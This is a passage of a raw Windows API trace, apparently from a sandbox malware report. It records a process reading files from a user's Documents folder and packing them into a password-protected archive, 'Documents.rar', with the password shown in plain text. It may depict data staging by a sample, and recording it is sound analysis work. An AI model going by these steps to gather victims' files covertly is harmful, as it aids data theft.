phProv=0x1cd850*=0x3025f0) returned 1 [0068.254] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.254] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.254] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x370)) [0068.254] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.254] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14359481313) returned 1 [0068.254] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x5487, lpOverlapped=0x0) returned 1 [0068.255] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a54c7, nNumberOfBytesToRead=0xfab79, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a54c7*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.255] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ce0, Size=0x48) returned 0x39db40 [0068.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.255] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ce0, Size=0x48) returned 0x39daf0 [0068.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.255] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d10 | out: hHeap=0x2e0000) returned 1 [0068.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ce0 | out: hHeap=0x2e0000) returned 1 [0068.255] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63cb0, Size=0x48) returned 0x39db40 [0068.255] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.255] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.256] GetTickCount () returned 0xa675af [0068.256] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14359645449) returned 1 [0068.256] GetTickCount () returned 0xa675af [0068.256] GetTickCount () returned 0xa675af [0068.256] GetTickCount () returned 0xa675af [0068.256] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.256] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.256] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.256] ResetEvent (hEvent=0x1a4) returned 1 [0068.257] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.257] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.257] ResetEvent (hEvent=0x1a4) returned 1 [0068.257] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.258] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.258] GetTickCount () returned 0xa675af [0068.258] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14359879626) returned 1 [0068.258] GetTickCount () returned 0xa675af [0068.258] GetTickCount () returned 0xa675af [0068.258] GetTickCount () returned 0xa675af [0068.258] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.259] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.259] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.259] ResetEvent (hEvent=0x190) returned 1 [0068.259] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.259] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.259] ResetEvent (hEvent=0x190) returned 1 [0068.259] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.259] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.259] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.259] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.259] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1a8107 [0068.259] SetFilePointer (in: hFile=0x198, lDistanceToMove=100, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1a816b [0068.259] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.260] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.260] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.260] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.260] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x54e0, lpOverlapped=0x0) returned 1 [0068.260] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.260] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.260] SetFilePointer (in: hFile=0x198, lDistanceToMove=1736967, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1a8107 [0068.260] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1a8107 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.260] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ce0, Size=0x48) returned 0x39daf0 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.260] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ce0, Size=0x48) returned 0x39db40 [0068.260] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.260] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.260] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d10 | out: hHeap=0x2e0000) returned 1 [0068.260] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ce0 | out: hHeap=0x2e0000) returned 1 [0068.260] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63cb0, Size=0x48) returned 0x39daf0 [0068.260] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.260] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x64, lpOverlapped=0x0) returned 1 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63cb0 [0068.260] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x64) returned 0x3b64520 [0068.260] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.261] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.261] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1ad64b [0068.261] CloseHandle (hObject=0x1b0) returned 1 [0068.261] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.261] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.261] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.261] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.261] FindFirstFileW (in: lpFileName="M-At.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.261] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.261] CreateFileW (lpFileName="M-At.docx" (normalized: "c:\\users\\whuoxysd\\documents\\m-at.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.261] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.261] GetTickCount () returned 0xa675af [0068.261] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.261] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.261] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.261] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.261] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="LUsVMCA2kX5.xlsx") returned 16 [0068.261] SetWindowTextW (hWnd=0x10280, lpString="M-At.docx") returned 1 [0068.261] GetTickCount () returned 0xa675af [0068.261] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.261] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.262] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.262] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.262] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x370)) [0068.262] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.262] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14360223914) returned 1 [0068.262] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x140c6, lpOverlapped=0x0) returned 1 [0068.263] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b4106, nNumberOfBytesToRead=0xebf3a, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b4106*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.263] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.263] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.263] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.263] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.263] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d10, Size=0x48) returned 0x39db40 [0068.263] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.263] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.263] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d10, Size=0x48) returned 0x39daf0 [0068.263] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.263] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.263] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.263] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.263] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d40 | out: hHeap=0x2e0000) returned 1 [0068.263] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d10 | out: hHeap=0x2e0000) returned 1 [0068.263] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ce0, Size=0x48) returned 0x39db40 [0068.263] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.263] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.263] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.263] GetTickCount () returned 0xa675af [0068.263] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14360385126) returned 1 [0068.263] GetTickCount () returned 0xa675af [0068.264] GetTickCount () returned 0xa675af [0068.264] GetTickCount () returned 0xa675af [0068.264] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.264] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.264] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.264] ResetEvent (hEvent=0x1a4) returned 1 [0068.264] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.265] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.265] ResetEvent (hEvent=0x1a4) returned 1 [0068.265] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.268] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.268] ResetEvent (hEvent=0x1a4) returned 1 [0068.268] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.270] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.270] GetTickCount () returned 0xa675be [0068.270] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14361070378) returned 1 [0068.270] GetTickCount () returned 0xa675be [0068.270] GetTickCount () returned 0xa675be [0068.270] GetTickCount () returned 0xa675be [0068.270] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.270] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.270] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.270] ResetEvent (hEvent=0x190) returned 1 [0068.271] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.271] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.271] ResetEvent (hEvent=0x190) returned 1 [0068.271] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.272] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.272] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.272] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.272] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1ad64b [0068.272] SetFilePointer (in: hFile=0x198, lDistanceToMove=93, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1ad6a8 [0068.272] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.272] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.272] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.272] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.272] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x14190, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x14190, lpOverlapped=0x0) returned 1 [0068.274] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.274] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.274] SetFilePointer (in: hFile=0x198, lDistanceToMove=1758795, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1ad64b [0068.274] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1ad64b [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.274] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d10, Size=0x48) returned 0x39daf0 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.274] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d10, Size=0x48) returned 0x39db40 [0068.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d10 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d40 [0068.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d40 | out: hHeap=0x2e0000) returned 1 [0068.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63d10 | out: hHeap=0x2e0000) returned 1 [0068.274] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ce0, Size=0x48) returned 0x39daf0 [0068.274] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.274] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x5d, lpOverlapped=0x0) returned 1 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ce0 [0068.274] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x5d) returned 0x3b64590 [0068.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.274] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.274] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1c1838 [0068.274] CloseHandle (hObject=0x1b0) returned 1 [0068.274] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.274] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.274] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.274] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.274] FindFirstFileW (in: lpFileName="M53FxPpcT\\-GriIsafw.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.274] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.274] CreateFileW (lpFileName="M53FxPpcT\\-GriIsafw.csv" (normalized: "c:\\users\\whuoxysd\\documents\\m53fxppct\\-griisafw.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.275] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.275] GetTickCount () returned 0xa675be [0068.275] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.275] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.275] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.275] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.275] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="M-At.docx") returned 9 [0068.275] SetWindowTextW (hWnd=0x10280, lpString="-GriIsafw.csv") returned 1 [0068.275] GetTickCount () returned 0xa675be [0068.275] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.275] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.275] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.275] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.275] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x37f)) [0068.275] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.275] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14361904546) returned 1 [0068.279] ReadFile (in: 